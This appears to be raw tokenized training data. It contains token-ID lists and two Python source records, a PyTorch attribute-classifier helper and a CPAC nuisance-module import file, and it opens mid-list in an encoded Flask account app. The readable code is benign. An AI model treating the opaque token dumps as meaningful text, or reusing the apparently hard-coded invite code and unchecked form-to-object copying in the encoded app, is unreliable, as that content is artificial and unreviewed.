12925, 7295, 13, 13, 1678, 3633, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 4867, 1839, 1792, 16215, 10149, 29918, 333, 2033, 467, 4102, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 12925, 29965, 8485, 1115, 3633, 29889, 657, 10486, 27573, 580, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 10149, 29914, 7193, 1495, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 3633, 29918, 7193, 7295, 13, 13, 1678, 3633, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 4867, 1839, 1792, 16215, 10149, 29918, 333, 2033, 467, 4102, 580, 13, 13, 1678, 4160, 353, 518, 1792, 29889, 8977, 580, 363, 1404, 297, 3633, 29889, 7193, 29962, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 7193, 1115, 4160, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1792, 29914, 1004, 1495, 13, 29992, 276, 339, 2658, 11049, 13, 1753, 1404, 29918, 1004, 7295, 13, 13, 1678, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29898, 2659, 29889, 333, 1275, 4867, 1839, 1792, 16215, 333, 2033, 467, 4102, 580, 13, 13, 1678, 4867, 1839, 1792, 2033, 353, 1404, 29889, 8977, 580, 13, 1678, 4867, 1839, 1792, 16215, 10149, 2033, 353, 1404, 29889, 10149, 29889, 8977, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 1792, 1115, 4867, 1839, 1792, 2033, 13, 1678, 5615, 13, 13, 13, 1177, 29963, 9094, 29918, 16524, 353, 525, 29941, 29888, 29979, 3044, 29929, 29953, 29875, 29903, 339, 6925, 29934, 29879, 11490, 7730, 20726, 29915, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 4530, 786, 742, 3519, 29922, 1839, 5438, 11287, 13, 1753, 1804, 786, 7295, 13, 13, 1678, 1024, 353, 2009, 29889, 689, 1839, 978, 2033, 13, 1678, 4876, 353, 2009, 29889, 689, 1839, 5269, 2033, 13, 1678, 4800, 353, 2009, 29889, 689, 1839, 5630, 2033, 13, 1678, 2437, 568, 3399, 353, 2009, 29889, 689, 1839, 11569, 568, 3399, 2033, 13, 1678, 13013, 353, 2009, 29889, 689, 1839, 6388, 2133, 2033, 13, 13, 1678, 565, 2437, 568, 3399, 2804, 2672, 29963, 9094, 29918, 16524, 29901, 13, 4706, 736, 4390, 1598, 3319, 13, 9651, 376, 2704, 1115, 376, 13919, 2437, 568, 775, 29889, 960, 366, 892, 2183, 385, 2437, 568, 775, 29892, 4876, 529, 26862, 6227, 29958, 363, 1371, 1213, 13, 4706, 500, 511, 29871, 29946, 29900, 29900, 13, 13, 1678, 396, 383, 6415, 2303, 2758, 4160, 304, 367, 2715, 304, 5923, 15303, 13, 1678, 3633, 353, 16535, 29898, 6388, 2133, 29897, 13, 1678, 4833, 29918, 7924, 29889, 1202, 29898, 10149, 29897, 13, 1678, 4833, 29918, 7924, 29889, 15060, 580, 13, 13, 1678, 1018, 29901, 13, 4706, 1404, 353, 4911, 29898, 978, 29922, 978, 29892, 4876, 29922, 5269, 29892, 4800, 29922, 5630, 29892, 3633, 1204, 29922, 10149, 29889, 333, 29897, 13, 1678, 5174, 8960, 408, 321, 29901, 13, 4706, 736, 4390, 1598, 3319, 13, 9651, 376, 2704, 1115, 321, 29889, 4906, 13, 4706, 500, 511, 29871, 29946, 29900, 29900, 13, 13, 1678, 4833, 29918, 7924, 29889, 1202, 29898, 1792, 29897, 13, 1678, 4833, 29918, 7924, 29889, 15060, 580, 13, 13, 1678, 4867, 1839, 1792, 2033, 353, 1404, 29889, 8977, 580, 13, 1678, 4867, 1839, 1792, 16215, 10149, 2033, 353, 1404, 29889, 10149, 29889, 8977, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 1792, 1115, 1404, 29889, 8977, 580, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 7507, 742, 3519, 29922, 1839, 5438, 11287, 13, 1753, 6464, 7295, 13, 13, 1678, 4876, 353, 2009, 29889, 689, 1839, 5269, 2033, 13, 1678, 4800, 353, 2009, 29889, 689, 1839, 5630, 2033, 13, 13, 1678, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29898, 2659, 29889, 5269, 1275, 4876, 467, 4102, 580, 13, 1678, 565, 1404, 338, 6213, 29901, 13, 4706, 736, 4390, 1598, 3319, 13, 9651, 376, 2704, 1115, 376, 3782, 1404, 4864, 411, 393, 4876, 29908, 13, 4706, 500, 511, 29871, 29946, 29900, 29900, 13, 13, 1678, 565, 1404, 29889, 3198, 10048, 29898, 5630, 1125, 13, 13, 4706, 4867, 1839, 1792, 2033, 353, 1404, 29889, 8977, 580, 13, 4706, 4867, 1839, 1792, 16215, 10149, 2033, 353, 1404, 29889, 10149, 29889, 8977, 580, 13, 13, 4706, 736, 4390, 1598, 3319, 13, 9651, 376, 8698, 1115, 5852, 29892, 13, 9651, 376, 4906, 1115, 376, 14191, 3730, 13817, 297, 613, 13, 9651, 376, 1792, 1115, 4867, 1839, 1792, 2033, 13, 4706, 5615, 13, 13, 1678, 1683, 29901, 13, 13, 4706, 736, 4390, 1598, 3319, 13, 9651, 376, 2704, 1115, 376, 10858, 4800, 338, 10240, 29908, 13, 4706, 500, 511, 29871, 29946, 29900, 29900, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 10149, 29914, 5504, 742, 3519, 29922, 1839, 5438, 11287, 13, 1753, 2767, 29918, 10149, 7295, 13, 1678, 9995, 13, 1678, 10318, 385, 3633, 13, 1678, 9995, 13, 268, 13, 1678, 3633, 353, 16535, 29889, 1972, 29889, 4572, 29898, 10601, 29889, 333, 1275, 4867, 1839, 1792, 16215, 10149, 16215, 333, 2033, 467, 4102, 580, 13, 13, 1678, 363, 1820, 29892, 995, 297, 2009, 29889, 689, 29889, 7076, 7295, 13, 4706, 731, 5552, 29898, 10149, 29892, 1820, 29892, 995, 29897, 13, 13, 1678, 4833, 29918, 7924, 29889, 1202, 29898, 10149, 29897, 13, 1678, 4833, 29918, 7924, 29889, 15060, 580, 13, 13, 1678, 4867, 1839, 1792, 16215, 10149, 2033, 353, 3633, 29889, 8977, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 10149, 1115, 4867, 1839, 1792, 16215, 10149, 2033, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1792, 29914, 1004, 29914, 5504, 742, 3519, 29922, 1839, 5438, 11287, 13, 1753, 2767, 29918, 1792, 7295, 13, 1678, 9995, 13, 1678, 10318, 263, 1404, 13, 1678, 9995, 13, 268, 13, 1678, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29898, 2659, 29889, 333, 1275, 4867, 1839, 1792, 16215, 333, 2033, 467, 4102, 580, 13, 13, 1678, 363, 1820, 29892, 995, 297, 2009, 29889, 689, 29889, 7076, 7295, 13, 4706, 731, 5552, 29898, 1792, 29892, 1820, 29892, 995, 29897, 13, 13, 1678, 4833, 29918, 7924, 29889, 1202, 29898, 1792, 29897, 13, 1678, 4833, 29918, 7924, 29889, 15060, 580, 13, 13, 1678, 4867, 1839, 1792, 2033, 353, 1404, 29889, 8977, 580, 13, 1678, 4867, 1839, 1792, 16215, 10149, 2033, 353, 1404, 29889, 10149, 29889, 8977, 580, 13, 13, 1678, 736, 4390, 1598, 3319, 13, 4706, 376, 1792, 1115, 4867, 1839, 1792, 2033, 13, 1678, 5615, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2754, 29914, 1188, 449, 1495, 13, 1753, 1480, 449, 7295, 13, 13, 1678, 628, 4867, 1839, 1792, 2033, 13, 13, 1678, 736, 6684, 11974, 1159, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 29966, 2084, 29901, 2084, 29958, 1495, 13, 1753, 364, 261, 2663, 29898, 2084, 1125, 13, 13, 1678, 736, 6684, 703, 8484, 22584, 29879, 29908, 1273, 2224, 29897, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 1495, 13, 1753, 2380, 7295, 13, 13, 1678, 1404, 353, 4867, 29889, 657, 877, 1792, 742, 525, 4304, 1495, 13, 1678, 565, 1404, 2804, 525, 4304, 2396, 13, 13, 4706, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29898, 2659, 29889, 333, 1275, 4867, 1839, 1792, 16215, 333, 2033, 467, 4102, 580, 13, 13, 4706, 565, 1404, 29901, 13, 9651, 4867, 1839, 1792, 2033, 353, 1404, 29889, 8977, 580, 13, 9651, 4867, 1839, 1792, 16215, 10149, 2033, 353, 1404, 29889, 10149, 29889, 8977, 580, 13, 9651, 4867, 1839, 1792, 16215, 10149, 16215, 7193, 2033, 353, 518, 1792, 29889, 8977, 580, 363, 1404, 297, 1404, 29889, 10149, 29889, 7193, 29962, 13, 308, 13, 1678, 736, 4050, 29918, 6886, 877, 3188, 29889, 1420, 742, 1404, 29922, 3126, 29889, 29881, 17204, 29898, 7924, 29889, 657, 877, 1792, 742, 6213, 4961, 13, 13, 13, 29937, 6230, 528, 935, 22920, 13, 10945, 24972, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 13, 7068, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 353, 6213, 13, 1753, 731, 2713, 935, 4219, 5809, 29898, 845, 935, 1748, 874, 1125, 13, 1678, 5534, 24972, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 13, 1678, 528, 935, 353, 528, 935, 1748, 874, 29961, 29900, 29962, 13, 1678, 24972, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 353, 376, 1124, 597, 29995, 29879, 16664, 29879, 29914, 845, 935, 12975, 1273, 313, 845, 935, 3366, 3069, 12436, 528, 935, 3366, 637, 20068, 13, 1678, 12183, 29889, 3888, 703, 29954, 2891, 24972, 1718, 29968, 26996, 19059, 29901, 1273, 29879, 29908, 1273, 24972, 1718, 29968, 29918, 4219, 29918, 19094, 1299, 29897, 13, 13, 28084, 292, 3377, 29889, 2218, 11911, 3170, 703, 845, 935, 613, 842, 2713, 935, 4219, 5809, 29897, 29871, 13, 13, 13, 29937, 6230, 454, 1484, 22920, 13, 10945, 11060, 17080, 29918, 4219, 29918, 19094, 1299, 13, 1307, 17080, 29918, 4219, 29918, 19094, 1299, 353, 6213, 13, 1753, 731, 29931, 2412, 4219, 5809, 29898, 1397, 29877, 1748, 874, 1125, 13, 1678, 5534, 11060, 17080, 29918, 4219, 29918, 19094, 1299, 13, 1678, 454, 1484, 353, 454, 1484, 1748, 874, 29961, 29900, 29962, 13, 1678, 11060, 17080, 29918, 4219, 29918, 19094, 1299, 353, 376, 1124, 597, 29995, 29879, 16664, 29879, 29914, 1397, 29877, 12975, 1273, 313, 1397, 29877, 3366, 3069, 12436, 454, 1484, 3366, 637, 20068, 13, 1678, 12183, 29889, 3888, 703, 29954, 2891, 11060, 17080, 26996, 19059, 29901, 1273, 29879, 29908, 1273, 11060, 17080, 29918, 4219, 29918, 19094, 1299, 29897, 13, 13, 28084, 292, 3377, 29889, 2218, 11911, 3170, 703, 1397, 29877, 613, 842, 29931, 2412, 4219, 5809, 29897, 29871, 13, 13, 13, 29937, 6230, 12337, 1657, 22920, 13, 10945, 435, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 13, 29967, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 353, 6213, 13, 1753, 731, 29967, 29874, 1657, 4219, 5809, 29898, 1764, 1657, 1748, 874, 1125, 13, 1678, 5534, 435, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 13, 1678, 12337, 1657, 6004, 353, 12337, 1657, 1748, 874, 29961, 29900, 29962, 13, 1678, 435, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 353, 376, 1124, 597, 29995, 29879, 16664, 29879, 29914, 1764, 1657, 12975, 1273, 313, 1764, 1657, 6004, 3366, 3069, 12436, 12337, 1657, 6004, 3366, 637, 20068, 13, 1678, 12183, 29889, 3888, 703, 29954, 2891, 435, 29909, 10356, 26996, 19059, 29901, 1273, 29879, 29908, 1273, 435, 29909, 10356, 29918, 4219, 29918, 19094, 1299, 29897, 13, 13, 28084, 292, 3377, 29889, 2218, 11911, 3170, 703, 1764, 1657, 613, 842, 29967, 29874, 1657, 4219, 5809, 29897, 29871, 13, 13, 13, 29937, 6230, 2654, 845, 2728, 22920, 13, 10945, 390, 3352, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 13, 19386, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 353, 6213, 13, 1753, 731, 2713, 935, 4219, 5809, 29898, 1127, 2713, 2728, 1748, 874, 1125, 13, 1678, 5534, 390, 3352, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 13, 1678, 2654, 2713, 2728, 353, 2654, 2713, 2728, 1748, 874, 29961, 29900, 29962, 13, 1678, 390, 3352, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 353, 376, 1124, 597, 29995, 29879, 16664, 29879, 29914, 1127, 845, 2728, 12975, 1273, 313, 1127, 2713, 2728, 3366, 3069, 12436, 2654, 2713, 2728, 3366, 637, 20068, 13, 1678, 12183, 29889, 3888, 703, 29954, 2891, 390, 3352, 7068, 8193, 29911, 26996, 19059, 29901, 1273, 29879, 29908, 1273, 390, 3352, 7068, 8193, 29911, 29918, 4219, 29918, 19094, 1299, 29897, 13, 13, 28084, 292, 3377, 29889, 2218, 11911, 3170, 703, 1127, 845, 2728, 613, 842, 2713, 935, 4219, 5809, 29897, 29871, 13, 13, 13, 29937, 6230, 1652, 524, 22920, 13, 10945, 383, 29931, 10192, 29918, 4219, 29918, 19094, 1299, 13, 10536, 10192, 29918, 4219, 29918, 19094, 1299, 353, 6213, 13, 1753, 731, 8754, 524, 4219, 5809, 29898, 1579, 524, 1748, 874, 1125, 13, 1678, 5534, 383, 29931, 10192, 29918, 4219, 29918, 19094, 1299, 13, 1678, 1652, 524, 353, 1652, 524, 1748, 874, 29961, 29900, 29962, 13, 1678, 383, 29931, 10192, 29918, 4219, 29918, 19094, 1299, 353, 376, 1124, 597, 29995, 29879, 16664, 29879, 29914, 1579, 524, 12975, 1273, 313, 1579, 524, 3366, 3069, 12436, 1652, 524, 3366, 637, 20068, 13, 1678, 12183, 29889, 3888, 703, 29954, 2891, 383, 29931, 10192, 26996, 19059, 29901, 1273, 29879, 29908, 1273, 383, 29931, 10192, 29918, 4219, 29918, 19094, 1299, 29897, 13, 13, 28084, 292, 3377, 29889, 2218, 11911, 3170, 703, 1579, 524, 613, 842, 8754, 524, 4219, 5809, 29897, 29871, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 13, 1678, 24907, 3377, 29889, 735, 4220, 3170, 703, 8862, 355, 613, 2011, 29922, 15082, 29897, 13, 1678, 623, 29889, 3389, 29898, 8382, 29922, 18525, 29892, 2011, 29922, 15082, 29892, 3495, 29922, 20832, 29892, 3244, 287, 29922, 5574, 29897, 13, 2 ]
our_interfaceGAN/celebahq_utils/dex/networks/classifiers/attribute_utils.py
BillyXYB/TransEditor
4
95056
import torch import os from . import attribute_classifier import glob softmax = torch.nn.Softmax(dim=1) def downsample(images, size=256): # Downsample to 256x256. The attribute classifiers were built for 256x256. # follows https://github.com/NVlabs/stylegan/blob/master/metrics/linear_separability.py#L127 if images.shape[2] > size: factor = images.shape[2] // size assert(factor * size == images.shape[2]) images = images.view([-1, images.shape[1], images.shape[2] // factor, factor, images.shape[3] // factor, factor]) images = images.mean(dim=[3, 5]) return images else: assert(images.shape[-1] == 256) return images def get_logit(net, im): im_256 = downsample(im) logit = net(im_256) return logit def get_softmaxed(net, im): logit = get_logit(net, im) softmaxed = softmax(torch.cat([logit, -logit], dim=1))[:, 1] # logit is (N,) softmaxed is (N,) return logit[:, 0], softmaxed def load_attribute_classifier(attribute, ckpt_path=None): if ckpt_path is None: base_path = os.path.abspath(__file__+"/../../../pth_celeba") attribute_pkl = os.path.join(base_path, attribute, 'net_best.pth') ckpt = torch.load(attribute_pkl) else: ckpt = torch.load(ckpt_path) # print("Using classifier at epoch: %d" % ckpt['epoch']) if 'valacc' in ckpt.keys(): print("Validation acc on raw images: %0.5f" % ckpt['valacc']) detector = attribute_classifier.from_state_dict( ckpt['state_dict'], fixed_size=True, use_mbstd=False).cuda().eval() return detector class ClassifierWrapper(torch.nn.Module): def __init__(self, classifier_name, ckpt_path=None, device='cuda'): super(ClassifierWrapper, self).__init__() self.net = load_attribute_classifier(classifier_name, ckpt_path).eval().to(device) def forward(self, ims, no_soft=False): # returns (N,) softmax values for binary classification if not no_soft: return get_softmaxed(self.net, ims)[1] else: return get_softmaxed(self.net, ims)[0]
[ 1, 1053, 4842, 305, 13, 5215, 2897, 13, 3166, 869, 1053, 5352, 29918, 1990, 3709, 13, 5215, 13149, 13, 13, 2695, 3317, 353, 4842, 305, 29889, 15755, 29889, 6295, 615, 3317, 29898, 6229, 29922, 29896, 29897, 13, 13, 1753, 1623, 11249, 29898, 8346, 29892, 2159, 29922, 29906, 29945, 29953, 1125, 13, 1678, 396, 9943, 11249, 304, 29871, 29906, 29945, 29953, 29916, 29906, 29945, 29953, 29889, 450, 5352, 770, 14903, 892, 4240, 363, 29871, 29906, 29945, 29953, 29916, 29906, 29945, 29953, 29889, 13, 1678, 396, 4477, 2045, 597, 3292, 29889, 510, 29914, 29940, 29963, 29880, 6897, 29914, 22062, 1397, 273, 29914, 10054, 29914, 6207, 29914, 2527, 10817, 29914, 10660, 29918, 25048, 3097, 29889, 2272, 29937, 29931, 29896, 29906, 29955, 13, 1678, 565, 4558, 29889, 12181, 29961, 29906, 29962, 1405, 2159, 29901, 13, 4706, 7329, 353, 4558, 29889, 12181, 29961, 29906, 29962, 849, 2159, 13, 4706, 4974, 29898, 19790, 334, 2159, 1275, 4558, 29889, 12181, 29961, 29906, 2314, 13, 4706, 4558, 353, 4558, 29889, 1493, 4197, 29899, 29896, 29892, 4558, 29889, 12181, 29961, 29896, 1402, 4558, 29889, 12181, 29961, 29906, 29962, 849, 7329, 29892, 7329, 29892, 4558, 29889, 12181, 29961, 29941, 29962, 849, 7329, 29892, 7329, 2314, 13, 4706, 4558, 353, 4558, 29889, 12676, 29898, 6229, 11759, 29941, 29892, 29871, 29945, 2314, 13, 4706, 736, 4558, 13, 1678, 1683, 29901, 13, 4706, 4974, 29898, 8346, 29889, 12181, 14352, 29896, 29962, 1275, 29871, 29906, 29945, 29953, 29897, 13, 4706, 736, 4558, 13, 13, 13, 1753, 679, 29918, 1188, 277, 29898, 1212, 29892, 527, 1125, 13, 1678, 527, 29918, 29906, 29945, 29953, 353, 1623, 11249, 29898, 326, 29897, 13, 1678, 1480, 277, 353, 7787, 29898, 326, 29918, 29906, 29945, 29953, 29897, 13, 1678, 736, 1480, 277, 13, 13, 13, 1753, 679, 29918, 2695, 3317, 287, 29898, 1212, 29892, 527, 1125, 13, 1678, 1480, 277, 353, 679, 29918, 1188, 277, 29898, 1212, 29892, 527, 29897, 13, 1678, 4964, 3317, 287, 353, 4964, 3317, 29898, 7345, 305, 29889, 4117, 4197, 1188, 277, 29892, 448, 1188, 277, 1402, 3964, 29922, 29896, 876, 7503, 29892, 29871, 29896, 29962, 13, 1678, 396, 1480, 277, 338, 313, 29940, 29892, 29897, 4964, 3317, 287, 338, 313, 29940, 29892, 29897, 13, 1678, 736, 1480, 277, 7503, 29892, 29871, 29900, 1402, 4964, 3317, 287, 13, 13, 13, 1753, 2254, 29918, 12715, 29918, 1990, 3709, 29898, 12715, 29892, 274, 29895, 415, 29918, 2084, 29922, 8516, 1125, 13, 1678, 565, 274, 29895, 415, 29918, 2084, 338, 6213, 29901, 308, 13, 4706, 2967, 29918, 2084, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 22168, 1445, 1649, 13578, 29914, 21546, 6995, 29886, 386, 29918, 346, 280, 2291, 1159, 13, 4706, 5352, 29918, 29886, 6321, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3188, 29918, 2084, 29892, 5352, 29892, 525, 1212, 29918, 13318, 29889, 29886, 386, 1495, 13, 4706, 274, 29895, 415, 353, 4842, 305, 29889, 1359, 29898, 12715, 29918, 29886, 6321, 29897, 13, 1678, 1683, 29901, 13, 4706, 274, 29895, 415, 353, 4842, 305, 29889, 1359, 29898, 384, 415, 29918, 2084, 29897, 13, 1678, 396, 1596, 703, 15156, 770, 3709, 472, 21502, 305, 29901, 1273, 29881, 29908, 1273, 274, 29895, 415, 1839, 1022, 2878, 11287, 13, 1678, 565, 525, 791, 5753, 29915, 297, 274, 29895, 415, 29889, 8149, 7295, 13, 4706, 1596, 703, 19448, 1035, 373, 10650, 4558, 29901, 1273, 29900, 29889, 29945, 29888, 29908, 1273, 274, 29895, 415, 1839, 791, 5753, 11287, 13, 1678, 1439, 3019, 353, 5352, 29918, 1990, 3709, 29889, 3166, 29918, 3859, 29918, 8977, 29898, 13, 4706, 274, 29895, 415, 1839, 3859, 29918, 8977, 7464, 4343, 29918, 2311, 29922, 5574, 29892, 671, 29918, 8337, 4172, 29922, 8824, 467, 29883, 6191, 2141, 14513, 580, 13, 1678, 736, 1439, 3019, 13, 13, 13, 1990, 4134, 3709, 15646, 29898, 7345, 305, 29889, 15755, 29889, 7355, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 770, 3709, 29918, 978, 29892, 274, 29895, 415, 29918, 2084, 29922, 8516, 29892, 4742, 2433, 29883, 6191, 29374, 13, 4706, 2428, 29898, 2385, 3709, 15646, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 1212, 353, 2254, 29918, 12715, 29918, 1990, 3709, 29898, 1990, 3709, 29918, 978, 29892, 274, 29895, 415, 29918, 2084, 467, 14513, 2141, 517, 29898, 10141, 29897, 13, 13, 1678, 822, 6375, 29898, 1311, 29892, 527, 29879, 29892, 694, 29918, 2695, 29922, 8824, 1125, 13, 4706, 396, 3639, 313, 29940, 29892, 29897, 4964, 3317, 1819, 363, 7581, 12965, 13, 4706, 565, 451, 694, 29918, 2695, 29901, 13, 9651, 736, 679, 29918, 2695, 3317, 287, 29898, 1311, 29889, 1212, 29892, 527, 29879, 9601, 29896, 29962, 13, 4706, 1683, 29901, 13, 9651, 736, 679, 29918, 2695, 3317, 287, 29898, 1311, 29889, 1212, 29892, 527, 29879, 9601, 29900, 29962, 13, 2 ]
CPAC/nuisance/__init__.py
gkiar/C-PAC
125
94102
from .utils import ( find_offending_time_points, temporal_variance_mask, generate_summarize_tissue_mask, NuisanceRegressor ) from .nuisance import ( create_regressor_workflow, create_nuisance_regression_workflow, filtering_bold_and_regressors ) from .bandpass import ( bandpass_voxels ) from .utils.compcor import ( cosine_filter ) __all__ = [ 'create_regressor_workflow', 'create_nuisance_regression_workflow', 'filtering_bold_and_regressors', 'find_offending_time_points', 'temporal_variance_mask', 'generate_summarize_tissue_mask', 'bandpass_voxels', 'cosine_filter' ]
[ 1, 515, 869, 13239, 1053, 313, 13, 1678, 1284, 29918, 2696, 2548, 29918, 2230, 29918, 9748, 29892, 13, 1678, 25406, 29918, 1707, 8837, 29918, 13168, 29892, 13, 1678, 5706, 29918, 2083, 3034, 675, 29918, 29873, 15118, 29918, 13168, 29892, 13, 1678, 405, 4664, 749, 4597, 1253, 272, 13, 29897, 13, 13, 3166, 869, 3433, 275, 749, 1053, 313, 13, 1678, 1653, 29918, 276, 3663, 272, 29918, 1287, 1731, 29892, 13, 1678, 1653, 29918, 3433, 275, 749, 29918, 276, 11476, 29918, 1287, 1731, 29892, 13, 1678, 21166, 29918, 8934, 29918, 392, 29918, 276, 3663, 943, 13, 29897, 13, 13, 3166, 869, 4980, 3364, 1053, 313, 13, 1678, 3719, 3364, 29918, 1365, 29916, 1379, 13, 29897, 13, 13, 3166, 869, 13239, 29889, 2388, 2616, 1053, 313, 13, 1678, 6776, 457, 29918, 4572, 13, 29897, 13, 13, 1649, 497, 1649, 353, 518, 13, 1678, 525, 3258, 29918, 276, 3663, 272, 29918, 1287, 1731, 742, 13, 1678, 525, 3258, 29918, 3433, 275, 749, 29918, 276, 11476, 29918, 1287, 1731, 742, 13, 1678, 525, 4572, 292, 29918, 8934, 29918, 392, 29918, 276, 3663, 943, 742, 13, 1678, 525, 2886, 29918, 2696, 2548, 29918, 2230, 29918, 9748, 742, 13, 1678, 525, 1356, 1971, 284, 29918, 1707, 8837, 29918, 13168, 742, 13, 1678, 525, 17158, 29918, 2083, 3034, 675, 29918, 29873, 15118, 29918, 13168, 742, 13, 1678, 525, 4980, 3364, 29918, 1365, 29916, 1379, 742, 13, 1678, 525, 3944, 457, 29918, 4572, 29915, 13, 29962, 2 ]